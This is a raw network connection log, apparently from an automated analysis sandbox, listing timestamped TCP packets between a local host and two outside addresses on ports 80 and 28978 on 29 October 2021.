Oct 29, 2021 20:11:25.828018904 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.828056097 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.828087091 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.828094959 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.828134060 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.828142881 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.828171015 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.828210115 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.828229904 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.828248978 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.828305006 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.828316927 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.828347921 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.828402996 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.851273060 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851325035 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851363897 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851399899 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851418972 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.851438999 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851463079 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.851479053 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851506948 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851540089 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.851543903 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851582050 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851598024 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.851619959 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851658106 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851672888 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.851695061 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851735115 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851748943 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.851773977 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851810932 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851826906 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.851849079 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851886988 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851902962 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.851923943 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851962090 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.851984978 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.851999044 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.852036953 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.852066994 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.852077007 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.852113008 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.852150917 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.852153063 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.852194071 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.852225065 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.852260113 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.852308035 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.858546019 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.858591080 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.858629942 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.858654976 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.858660936 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.858699083 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.860114098 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.860157013 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.860196114 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.860223055 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.860223055 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.860269070 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.860794067 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.860835075 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.860897064 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.860902071 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.860929966 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.860985041 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.862812996 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.862854004 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.862890959 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.862910032 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.862929106 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.862967014 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.862976074 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.863003016 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.863030910 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.863048077 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.863811970 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.863853931 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.863872051 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.863890886 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.863919973 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.863945961 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.894279957 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894339085 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894378901 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894380093 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.894418001 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894424915 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.894460917 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894500017 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894512892 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.894526958 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894566059 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894582987 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.894606113 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894643068 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894656897 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.894670963 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.894721985 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.897152901 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897203922 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897243023 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897265911 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.897280931 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897320986 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897334099 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.897361040 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897388935 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897412062 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.897568941 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897612095 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897624969 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.897651911 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897680998 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.897705078 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.927467108 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.927545071 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.927571058 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.927607059 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.927658081 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.927660942 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.927711010 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.927755117 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.927762985 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.927793980 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.927836895 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.927849054 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.927891970 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.927936077 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.927944899 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.927993059 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.928034067 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.928056955 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.928091049 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.928131104 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.928142071 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.928872108 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.928925991 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.928947926 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.928986073 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.929017067 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.929044008 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.929070950 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.929119110 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.929124117 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.929171085 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.929198980 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.929227114 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.932028055 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.932069063 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.932109118 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.932118893 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.932147980 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.932172060 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.960505009 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.960541010 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.960557938 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.960585117 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.960601091 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.960622072 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.960640907 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.960661888 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.960690022 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.960747957 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.961442947 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.961460114 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.961476088 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.961488008 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.961507082 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.961539030 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.962580919 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.962601900 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.962620020 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.962639093 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.962656021 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.962671041 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.962683916 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.962696075 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.962749004 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.965944052 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.965971947 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.966001987 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.966002941 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.966022968 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.966044903 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.992866039 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.992928982 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.992964983 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.992999077 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993033886 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993046045 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.993067980 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993084908 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.993096113 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993125916 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.993132114 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993165970 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993182898 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.993201971 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993227005 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993238926 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.993305922 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.993546963 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993585110 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993624926 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993654966 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.993685007 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.993762970 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.995526075 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.995590925 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.995634079 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.995661020 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.995698929 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.995785952 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.995826960 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.995826006 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.995856047 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.995985985 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.998287916 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.998342991 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.998382092 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.998409986 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.998418093 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.998498917 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.025835991 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.025902033 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.025959015 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.025989056 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.025995970 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.026026011 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026036024 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.026065111 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026101112 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026114941 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.026128054 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026165962 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026170969 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.026202917 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026241064 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026253939 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.026267052 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026312113 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.026595116 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026635885 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026674032 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026689053 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.026699066 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.026757002 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.028645992 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.028717041 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.028769016 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.029182911 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.029211998 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.029258013 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.029263973 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.029865026 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.029912949 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.029928923 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.029947996 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.030003071 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.031578064 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.031621933 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.031658888 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.031675100 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.031687021 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.031748056 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.059298038 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.059339046 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.059365988 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.059389114 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.059412956 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.059422016 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.059437990 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.059451103 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.059468985 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.059488058 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.059504986 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:26.059529066 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.059545994 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:26.059602022 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:33.147811890 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:33.177314997 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:33.177340031 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:33.177355051 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:33.177431107 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.874821901 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.898839951 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.899008989 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.899013042 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.899091959 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.922925949 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.922952890 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.923002958 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.923069954 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.923173904 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.923300028 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.923394918 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.923609018 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.923659086 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.946984053 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.947160959 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.947190046 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.947293043 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.947463989 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.947549105 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.947592974 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.949901104 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.949923038 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.960151911 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.971651077 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.971679926 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.971695900 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.971793890 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.971826077 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.971924067 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.972147942 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.972347021 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.984014034 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.984046936 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.984220982 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.984458923 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.984735966 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.985183954 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.985783100 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.985865116 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.985975027 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.985980988 CEST	49842	28978	192.168.2.5	93.115.20.139
